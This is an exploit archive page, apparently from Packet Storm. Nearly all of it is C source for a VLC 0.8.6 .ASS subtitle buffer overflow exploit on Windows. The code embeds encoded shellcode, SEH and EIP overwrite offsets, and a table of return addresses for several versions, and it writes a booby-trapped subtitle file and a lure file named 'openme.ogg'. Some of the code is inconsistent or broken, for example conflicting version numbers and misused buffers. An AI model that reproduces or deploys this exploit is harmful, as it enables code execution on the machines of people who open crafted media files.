what you don't know can hurt you

VLC 0.8.6x Buffer Overflow

VLC 0.8.6x Buffer Overflow
Posted Jan 18, 2010
Authored by fl0 fl0w

VLC version 0.8.6 .ASS file universal buffer overflow exploit for Win32.

tags | exploit, overflow
systems | windows
MD5 | 947968f6ece4d1a7d4888e04a5c309ec

VLC 0.8.6x Buffer Overflow

Change Mirror Download
/*[%]VLC vs 0.6.8 [b][c][d][a] .ASS file buffer overflow exploit(win32 universal)
[%]Works every time,works on any win32 OS,tested on Windows xp sp2.

[%]My doctor said that I have seriuouse problems ,but I think he's full of it
because the voices tell me I'm ok!*/
#include<stdio.h>
#include<string.h>
#include<stdint.h>

#define File "subtitle666.ass"
#define OGGfile "openme.ogg"
#define IF(x,NULL) if(x==NULL)
#define FOR(i,a,b) for(i=a;i<b;++i)
#define WHILE(z) while(z>0)
#define is_bigendian() ((*(char*)&i)==0)
#define EIP_OFFSET 163852
#define SEH_OFFSET 165248
#define NEXTSEH_OFFSET 165244
/*-------------prototypes---------*/
//100% working shellcode
char vlcshellcode[]=
{
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x3d"
"\xba\xb1\xd9\x83\xeb\xfc\xe2\xf4\xc1\x52\xf5\xd9\x3d\xba\x3a\x9c"
"\x01\x31\xcd\xdc\x45\xbb\x5e\x52\x72\xa2\x3a\x86\x1d\xbb\x5a\x90"
"\xb6\x8e\x3a\xd8\xd3\x8b\x71\x40\x91\x3e\x71\xad\x3a\x7b\x7b\xd4"
"\x3c\x78\x5a\x2d\x06\xee\x95\xdd\x48\x5f\x3a\x86\x19\xbb\x5a\xbf"
"\xb6\xb6\xfa\x52\x62\xa6\xb0\x32\xb6\xa6\x3a\xd8\xd6\x33\xed\xfd"
"\x39\x79\x80\x19\x59\x31\xf1\xe9\xb8\x7a\xc9\xd5\xb6\xfa\xbd\x52"
"\x4d\xa6\x1c\x52\x55\xb2\x5a\xd0\xb6\x3a\x01\xd9\x3d\xba\x3a\xb1"
"\x01\xe5\x80\x2f\x5d\xec\x38\x21\xbe\x7a\xca\x89\x55\xc4\x69\x3b"
"\x4e\xd2\x29\x27\xb7\xb4\xe6\x26\xda\xd9\xd0\xb5\x5e\xba\xb1\xd9"
};
char data[]=
{
"[Script Info]\n"
"; Script generated by Aegisub\n"
"; http://www.aegisub.net\n"
"Title: Neon Genesis Evangelion - Episode 26 (neutral Spanish)\n"
"Original Script: RoRo\n"
"Script Updated By: version 2.8.01\n"
"ScriptType: v4.00+\n"
"Collisions: Normal\n"
"PlayResY: 600\n"
"PlayDepth: 0\n"
"Timer: 100,0000\n"
"Video Aspect Ratio: 0\n"
"Video Zoom: 6\n"
"Video Position: 0\n"
"[V4+ Styles]\n"
"Format: Name, Fontname, Fontsize, PrimaryColour, SecondaryColour, OutlineColour, BackColour, Bold, Italic, Underline, StrikeOut, ScaleX, ScaleY, Spacing, Angle, BorderStyle, Outline, Shadow, Alignment, MarginL, MarginR, MarginV, Encoding\n"
"Style: DefaultVCD, Arial,28,&H00B4FCFC,&H00B4FCFC,&H00000008,&H80000008,-1,0,0,0,100,100,0.00,0.00,1,1.00,2.00,2,30,30,30,0\n"
"[Events]\n"
"Format: Layer, Start, End, Style, Name, MarginL, MarginR, MarginV, Effect, Text\n"
"Dialogue:"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" //165254 junk bytes to cause exception
};
char banner[]=
{
"******************************************************************\n"
" VLC 0.6.8x Buffer overflow exploit(win32 universal) *\n"
" *\n"
" by fl0 fl0w *\n"
"******************************************************************\n"
};
char arguments[]=
{
"---------------------------\n"
"Too few args! \n"
"sploit.exe [target 1/2/3/4]\n"
"---------------------------\n"
};

// data + 165254 nop + shellcode + szJMP(strcat)
/*--------extern variables----------*/
char b[1000000];
char c[1000000];
char d[1000000];
char f[1000000]; //1402 bytes nop
char seh[]="\x87\x75\x40\x4B";
char nseh[]="\x38\xFA\x74\x02";
int i;
int input;
char bf[4];
int t;

/*-------prototypes----------*/
int buildF();
int cpy(unsigned int,char*);
void print(char*);
void gen_random(char*, const int);
unsigned int getFsize(FILE*,char*);
int cpystr(char* dest,int,int);
int oggf(char* fname);
int Targetprint();

/*--------ogg file format---------*/
typedef struct aa
{ //28 bytes or 224 bits
uint32_t Cp; // Capture pattern — 32 bits
uint8_t Ver; // Version — 8 bits
uint8_t H; // Header type — 8 bits
uint64_t Gp; // Granule position — 64 bits
uint32_t Bsn; // Bitstream serial number — 32 bits
uint32_t Psn; // Page sequence number — 32 bits
uint32_t C; // Checksum — 32 bits
uint8_t Ps; // Page segments — 8 bits
uint8_t St; // Segment table 8 bit
}ogg;
/*------targets------------*/
struct
{
unsigned int eip;
char* etype;
}RET[]=
{
{
0x026DFA38,
"VLC 0.8.6 c"
},
{
0x0263FA38,
"VLC 0.8.6 b,d"
},
{
0x0267FA38,
"VLC 0.8.6 a"
},
{
0x0267FA38,
"VLC 0.8.6 b test1"
},
{
0x02B6FA38,
"VLC 0.8.6 RC1"
},
{
NULL,NULL
}
};
/*------main--------*/
int main(int argc,char* argv[])
{
if(argc<2)
{
system("CLS");

printf("%s%s",banner,arguments);

Targetprint();exit(0);
}

input=atoi(argv[1]);

switch(input)
{
case 0:
reverseInt(RET[0].eip);
cpy(RET[0].eip,bf);
break;

case 1:
reverseInt(RET[1].eip);
cpy(RET[1].eip,bf);
break;

case 2:
reverseInt(RET[2].eip);
cpy(RET[2].eip,bf);
break;

case 3:
reverseInt(RET[3].eip);
cpy(RET[3].eip,bf);
break;

case 4:
reverseInt(RET[4].eip);
cpy(RET[4].eip,bf);
break;
}
printf("[!]Using : %s retaddress\n",RET[input].etype);
buildF(b); oggf(OGGfile); getchar();

return 0;
}
int buildF(unsigned int retn)
{
FILE *f=fopen(File,"wb");

IF(f,NULL)
{
print("File .ass error!"); exit(0);}
gen_random(b,165267); /*EIP offset 165267 bytes [EIP][NOP nopoffset=164667 bytes][SHELLCODE nopoffset+nrbytes nop]*/
memcpy(b+EIP_OFFSET,bf,4);
memset(b+EIP_OFFSET+4,0x90,10);
memcpy(b+EIP_OFFSET+4+10,vlcshellcode,strlen(vlcshellcode));

fprintf(f,"%s%s",data,b);

free(data); fclose(f);

printf("[#]ASS file DONE!\n",getFsize(f,File));

return 0;
}
int oggf(char* fname)
{
FILE* g=fopen(fname,"wb");
IF(g,NULL)
{
print("File ogg error");
exit(0);
}
ogg *W666;
W666=(ogg*)malloc(sizeof(ogg));
W666->Cp=0x5367674F;
W666->Ver=0x00;
W666->H=0x02;
W666->Gp=0x00000000;
W666->Bsn=0x000060B8;
W666->Psn=0x00000000;
W666->C=0xA403D2F8;
W666->Ps=0x01;
W666->St=0x1E;

fwrite(W666,sizeof(W666),9,g);

fclose(g);

printf("[#]OGG file DONE!\n",getFsize(g,OGGfile));

return 0;
}
int cpy(unsigned int source,char* dest)
{
int len;
len=4;
memcpy(dest,&source,len+1);
return len;
}
void print(char* msg)
{
printf("[*]%s\n",msg);
}

void gen_random(char *s, const int len)
{
static const char alphanum[] ="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

FOR(i,0,len)
{
s[i]=alphanum[rand()%(sizeof(alphanum)-1)];
}
s[len]=0;
}
unsigned int getFsize(FILE* g,char* gname)
{
unsigned int s;

g=fopen(gname,"rb");

IF(g,NULL)
{
print("File error at reading");
exit(0);
}
fseek(g,0,SEEK_END);
s=ftell(g);

return s;
}
int reverseInt(unsigned int i)
{
unsigned char c1, c2, c3, c4;

if(is_bigendian())
{
return i;
}else
{
c1=i&255;
c2=(i>>8)&255;
c3=(i>>16)&255;
c4=(i>>24)&255;
return((int)c1<<24)+((int)c2<<16)+((int)c3<<8)+c4;
}
}
int cpystr(char* dest,int str,int len)
{
memset(dest,str,len+1);
return len;
}
int Targetprint()
{
print("Targets are:");
for(t=0;t<5;t++)
printf("[!]%s - [0x%d] - %d\n",RET[t].etype,RET[t].eip,t);
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    28 Files
  • 2
    Nov 2nd
    1 Files
  • 3
    Nov 3rd
    1 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    19 Files
  • 6
    Nov 6th
    65 Files
  • 7
    Nov 7th
    22 Files
  • 8
    Nov 8th
    18 Files
  • 9
    Nov 9th
    1 Files
  • 10
    Nov 10th
    1 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    65 Files
  • 13
    Nov 13th
    27 Files
  • 14
    Nov 14th
    22 Files
  • 15
    Nov 15th
    18 Files
  • 16
    Nov 16th
    1 Files
  • 17
    Nov 17th
    3 Files
  • 18
    Nov 18th
    22 Files
  • 19
    Nov 19th
    17 Files
  • 20
    Nov 20th
    15 Files
  • 21
    Nov 21st
    16 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close